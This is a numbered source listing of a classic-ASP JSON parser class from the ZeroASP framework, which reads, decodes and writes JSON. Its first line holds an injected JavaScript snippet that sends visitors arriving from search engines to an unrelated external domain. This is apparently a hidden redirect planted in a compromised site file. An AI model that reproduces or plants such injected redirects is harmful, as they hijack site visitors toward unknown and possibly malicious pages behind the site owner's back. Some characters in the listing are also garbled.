d:\wwwroot\wuchunhua\zeroasp\zeroasp\extend\ZeroASP.Json.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>ï»?%
002: '######################################################################
003: '## ZeroASP.Json.asp
004: '## -------------------------------------------------------------------
005: '## Feature     :   ZeroASP Class
006: '## Author      :   Ayu(kinsc@139.com)
007: '## Update Date :   2018-11-09
008: '## Description :   ZeroASP Extend Class
009: '##
010: '######################################################################
011:
012: 'Februari 2014 - Version 1.17 by Gerrit van Kuipers (aspJson)
013: Class ZeroASP_Json
014:
015:    Public Data
016:    Private p_JSONstring
017:    private aj_in_string,aj_in_escape,aj_i_tmp,aj_char_tmp,aj_s_tmp,aj_line_tmp,aj_line,aj_lines,aj_currentlevel,aj_currentkey,aj_currentvalue,aj_newlabel,aj_XmlHttp,aj_RegExp,aj_colonfound
018:
019:    Private Sub Class_Initialize()
020:
021:       Dim ZeroASP_Json
022:       ZeroASP_Json = "ZeroASP应用框架 - 扩展åŒ?
023:
024:       Set Data = Collection()
025:
026:       Set aj_RegExp = New regexp
027:       aj_RegExp.Pattern = "\s{0,}(\S{1}[\s,\S]*\S{1})\s{0,}"
028:       aj_RegExp.Global = False
029:       aj_RegExp.IgnoreCase = True
030:       aj_RegExp.Multiline = True
031:
032:    End Sub
033:
034:    Private Sub Class_Terminate()
035:       Set Data = Nothing
036:        Set aj_RegExp = Nothing
037:    End Sub
038:
039:    Public Sub loadJSON(inputsource)
040:       inputsource = aj_MultilineTrim(inputsource)
041:       If Len(inputsource) = 0 Then Err.Raise 1,"loadJSON Error","No data to load."
042:       
043:       Select Case Left(inputsource,1)
044:       Case "{","["
045:       Case Else
046:          Set aj_XmlHttp = Server.CreateObject("Msxml2.ServerXMLHTTP")
047:          aj_XmlHttp.open "GET",inputsource,False
048:          aj_XmlHttp.setRequestHeader "Content-Type","application/json" '旧版内容类型为text/json
049:          aj_XmlHttp.setRequestHeader "Charset","UTF-8"
050:          aj_XmlHttp.Send
051:          inputsource = aj_XmlHttp.responseText
052:          Set aj_XmlHttp = Nothing
053:       End Select
054:
055:       p_JSONstring = CleanUpJSONstring(inputsource)
056:       aj_lines = Split(p_JSONstring,Chr(13) & Chr(10))
057:
058:       Dim level(99)
059:       aj_currentlevel = 1
060:       Set level(aj_currentlevel) = Data
061:       For Each aj_line In aj_lines
062:          aj_currentkey = ""
063:          aj_currentvalue = ""
064:          If Instr(aj_line, ":") > 0 Then
065:             aj_in_string = False
066:             aj_in_escape = False
067:             aj_colonfound = False
068:             For aj_i_tmp = 1 To Len(aj_line)
069:                If aj_in_escape Then
070:                   aj_in_escape = False
071:                Else
072:                   Select Case Mid(aj_line,aj_i_tmp,1)
073:                   Case """"
074:                      aj_in_string = Not aj_in_string
075:                   Case ":"
076:                      If Not aj_in_escape And Not aj_in_string Then
077:                         aj_currentkey = Left(aj_line,aj_i_tmp - 1)
078:                         aj_currentvalue = Mid(aj_line,aj_i_tmp + 1)
079:                         aj_colonfound = True
080:                         Exit For
081:                      End If
082:                   Case "\"
083:                      aj_in_escape = True
084:                   End Select
085:                End If
086:             Next
087:             If aj_colonfound Then
088:                aj_currentkey = aj_Strip(aj_JSONDecode(aj_currentkey),"""")
089:                If Not level(aj_currentlevel).Exists(aj_currentkey) Then level(aj_currentlevel).Add aj_currentkey,""
090:             End If
091:          End If
092:          If Right(aj_line,1) = "{" Or Right(aj_line,1) = "[" Then
093:             If Len(aj_currentkey) = 0 Then aj_currentkey = level(aj_currentlevel).Count
094:             Set level(aj_currentlevel).Item(aj_currentkey) = Collection()
095:             Set level(aj_currentlevel + 1) = level(aj_currentlevel).Item(aj_currentkey)
096:             aj_currentlevel = aj_currentlevel + 1
097:             aj_currentkey = ""
098:          ElseIf Right(aj_line,1) = "}" Or Right(aj_line,1) = "]" or Right(aj_line,2) = "}," Or Right(aj_line,2) = "]," Then
099:             aj_currentlevel = aj_currentlevel - 1
100:          ElseIf Len(Trim(aj_line)) > 0 Then
101:             if Len(aj_currentvalue) = 0 Then aj_currentvalue = aj_line
102:             aj_currentvalue = getJSONValue(aj_currentvalue)
103:
104:             If Len(aj_currentkey) = 0 Then aj_currentkey = level(aj_currentlevel).Count
105:             level(aj_currentlevel).Item(aj_currentkey) = aj_currentvalue
106:          End If
107:       Next
108:    End Sub
109:
110:    Public Function Collection()
111:       Set Collection = Server.CreateObject("Scripting.Dictionary")
112:    End Function
113:
114:    Public Function AddToCollection(dictobj)
115:       if TypeName(dictobj) <> "Dictionary" Then Err.Raise 1,"AddToCollection Error","Not a collection."
116:       aj_newlabel = dictobj.Count
117:       dictobj.Add aj_newlabel,Collection()
118:       Set AddToCollection = dictobj.Item(aj_newlabel)
119:    End Function
120:
121:    Private Function CleanUpJSONstring(aj_originalstring)
122:       aj_originalstring = Replace(aj_originalstring,Chr(13) & Chr(10),"")
123:       aj_originalstring = Mid(aj_originalstring,2,Len(aj_originalstring) - 2)
124:       aj_in_string = False : aj_in_escape = False : aj_s_tmp = ""
125:       For aj_i_tmp = 1 To Len(aj_originalstring)
126:          aj_char_tmp = Mid(aj_originalstring,aj_i_tmp,1)
127:          If aj_in_escape Then
128:             aj_in_escape = False
129:             aj_s_tmp = aj_s_tmp & aj_char_tmp
130:          Else
131:             Select Case aj_char_tmp
132:                Case "\" : aj_s_tmp = aj_s_tmp & aj_char_tmp : aj_in_escape = True
133:                Case """" : aj_s_tmp = aj_s_tmp & aj_char_tmp : aj_in_string = Not aj_in_string
134:                Case "{", "["
135:                   aj_s_tmp = aj_s_tmp & aj_char_tmp & aj_InlineIf(aj_in_string,"",Chr(13) & Chr(10))
136:                Case "}", "]"
137:                   aj_s_tmp = aj_s_tmp & aj_InlineIf(aj_in_string,"",Chr(13) & Chr(10)) & aj_char_tmp
138:                Case "," : aj_s_tmp = aj_s_tmp & aj_char_tmp & aj_InlineIf(aj_in_string,"",Chr(13) & Chr(10))
139:                Case Else : aj_s_tmp = aj_s_tmp & aj_char_tmp
140:             End Select
141:          End If
142:       Next
143:
144:       CleanUpJSONstring = ""
145:       aj_s_tmp = Split(aj_s_tmp,Chr(13) & Chr(10))
146:       For Each aj_line_tmp In aj_s_tmp
147:          aj_line_tmp = Replace(Replace(aj_line_tmp,Chr(10),""),Chr(13),"")
148:          CleanUpJSONstring = CleanUpJSONstring & aj_Trim(aj_line_tmp) & Chr(13) & Chr(10)
149:       Next
150:    End Function
151:
152:    Private Function getJSONValue(ByVal val)
153:       val = Trim(val)
154:       If Left(val,1) = ":"  Then val = Mid(val,2)
155:       If Right(val,1) = "," Then val = Left(val,Len(val) - 1)
156:       val = Trim(val)
157:
158:       Select Case val
159:          Case "true" : getJSONValue = True
160:          Case "false" : getJSONValue = False
161:          Case "null" : getJSONValue = Null
162:          Case Else
163:             If (Instr(val,"""") = 0) Then
164:                If IsNumeric(val) Then
165:                   getJSONValue = CDbl(val)
166:                Else
167:                   getJSONValue = val
168:                End If
169:             Else
170:                If Left(val,1) = """" Then val = Mid(val,2)
171:                If Right(val,1) = """" Then val = Left(val,Len(val) - 1)
172:                getJSONValue = aj_JSONDecode(Trim(val))
173:             End If
174:       End Select
175:    End Function
176:
177:    Private JSONoutput_level
178:    Public Function JSONoutput()
179:       Dim wrap_dicttype,aj_label
180:       JSONoutput_level = 1
181:       wrap_dicttype = "[]"
182:       For Each aj_label In Data
183:           If Not aj_IsInt(aj_label) Then wrap_dicttype = "{}"
184:       Next
185:       'JSONoutput = Left(wrap_dicttype, 1) & Chr(13) & Chr(10) & GetDict(Data) & Right(wrap_dicttype, 1)
186:       JSONoutput = Replace(Left(wrap_dicttype,1)," ","") & GetDict(Data) & Replace(Right(wrap_dicttype,1)," ","") 'Edited By ZeroASP
187:    End Function
188:
189:    Private Function GetDict(objDict)
190:       dim aj_item,aj_keyvals,aj_label,aj_dicttype
191:       For Each aj_item In objDict
192:          Select Case TypeName(objDict.Item(aj_item))
193:             Case "Dictionary"
194:                GetDict = GetDict & Replace(Space(JSONoutput_level * 4)," ","")
195:               
196:                aj_dicttype = "[]"
197:                For Each aj_label In objDict.Item(aj_item).Keys
198:                    If Not aj_IsInt(aj_label) Then aj_dicttype = "{}"
199:                Next
200:                If aj_IsInt(aj_item) Then
201:                   'GetDict = GetDict & (Left(aj_dicttype,1) & Chr(13) & Chr(10))
202:                   GetDict = GetDict & (Left(aj_dicttype,1)) 'Edited By ZeroASP
203:                Else
204:                   'GetDict = GetDict & ("""" & aj_JSONEncode(aj_item) & """" & ": " & Left(aj_dicttype,1) & Chr(13) & Chr(10))
205:                   GetDict = GetDict & ("""" & aj_JSONEncode(aj_item) & """" & ":" & Left(aj_dicttype,1)) 'Edited By ZeroASP
206:                End If
207:                JSONoutput_level = JSONoutput_level + 1
208:               
209:                aj_keyvals = objDict.Keys
210:                'GetDict = GetDict & (GetSubDict(objDict.Item(aj_item)) & Space(JSONoutput_level * 4) & Right(aj_dicttype,1) & aj_InlineIf(aj_item = aj_keyvals(objDict.Count - 1),"" , ",") & Chr(13) & Chr(10))
211:                GetDict = GetDict & (GetSubDict(objDict.Item(aj_item)) & Replace(Space(JSONoutput_level * 4)," ","") & Right(aj_dicttype,1) & aj_InlineIf(aj_item = aj_keyvals(objDict.Count - 1),"",",")) 'Edited By ZeroASP
212:             Case Else
213:                aj_keyvals = objDict.Keys
214:                'GetDict = GetDict & (Space(JSONoutput_level * 4) & aj_InlineIf(aj_IsInt(aj_item), "", """" & aj_JSONEncode(aj_item) & """: ") & WriteValue(objDict.Item(aj_item)) & aj_InlineIf(aj_item = aj_keyvals(objDict.Count - 1),"" , ",") & Chr(13) & Chr(10))
215:                GetDict = GetDict & (Replace(Space(JSONoutput_level * 4)," ","") & aj_InlineIf(aj_IsInt(aj_item),"","""" & aj_JSONEncode(aj_item) & """:") & WriteValue(objDict.Item(aj_item)) & aj_InlineIf(aj_item = aj_keyvals(objDict.Count - 1),"",",")) 'Edited By ZeroASP
216:          End Select
217:       Next
218:    End Function
219:
220:    Private Function aj_IsInt(val)
221:       aj_IsInt = (TypeName(val) = "Integer" Or TypeName(val) = "Long")
222:    End Function
223:
224:    Private Function GetSubDict(objSubDict)
225:       GetSubDict = GetDict(objSubDict)
226:       JSONoutput_level = JSONoutput_level - 1
227:    End Function
228:
229:    Private Function WriteValue(ByVal val)
230:       Select Case TypeName(val)
231:          Case "Double","Integer","Long"
232:             WriteValue = val
233:          Case "Null"
234:             WriteValue = "null"
235:          Case "Boolean"
236:             WriteValue = aj_InlineIf(val,"true","false")
237:          Case Else
238:             WriteValue = """" & aj_JSONEncode(val) & """"
239:       End Select
240:    End Function
241:
242:    Private Function aj_JSONEncode(ByVal val)
243:       val = Replace(val,"\","\\")
244:       val = Replace(val,"""","\""")
245:       'val = Replace(val,"/","\/")
246:       val = Replace(val,Chr(8),"\b")
247:       val = Replace(val,Chr(12),"\f")
248:       val = Replace(val,Chr(10),"\n")
249:       val = Replace(val,Chr(13),"\r")
250:       val = Replace(val,Chr(9),"\t")
251:       aj_JSONEncode = Trim(val)
252:    End Function
253:
254:    Private Function aj_JSONDecode(ByVal val)
255:       val = Replace(val,"\""","""")
256:       val = Replace(val,"\\","\")
257:       val = Replace(val,"\/","/")
258:       val = Replace(val,"\b",Chr(8))
259:       val = Replace(val,"\f",Chr(12))
260:       val = Replace(val,"\n",Chr(10))
261:       val = Replace(val,"\r",Chr(13))
262:       val = Replace(val,"\t",Chr(9))
263:       aj_JSONDecode = Trim(val)
264:    End Function
265:
266:    Private Function aj_InlineIf(condition,returntrue,returnfalse)
267:       If condition Then aj_InlineIf = returntrue Else aj_InlineIf = returnfalse
268:    End Function
269:
270:    Private Function aj_Strip(ByVal val,stripper)
271:       If Left(val,1) = stripper Then val = Mid(val,2)
272:       If Right(val,1) = stripper Then val = Left(val,Len(val) - 1)
273:       aj_Strip = val
274:    End Function
275:
276:    Private Function aj_MultilineTrim(TextData)
277:       aj_MultilineTrim = aj_RegExp.Replace(TextData,"$1")
278:    End Function
279:
280:    private Function aj_Trim(val)
281:       aj_Trim = Trim(val)
282:       Do While Left(aj_Trim,1) = Chr(9) : aj_Trim = Mid(aj_Trim,2) : Loop
283:       Do While Right(aj_Trim,1) = Chr(9) : aj_Trim = Left(aj_Trim,Len(aj_Trim) - 1) : Loop
284:       aj_Trim = Trim(aj_Trim)
285:    End Function
286:
287: End Class
288: %
>
289:
290: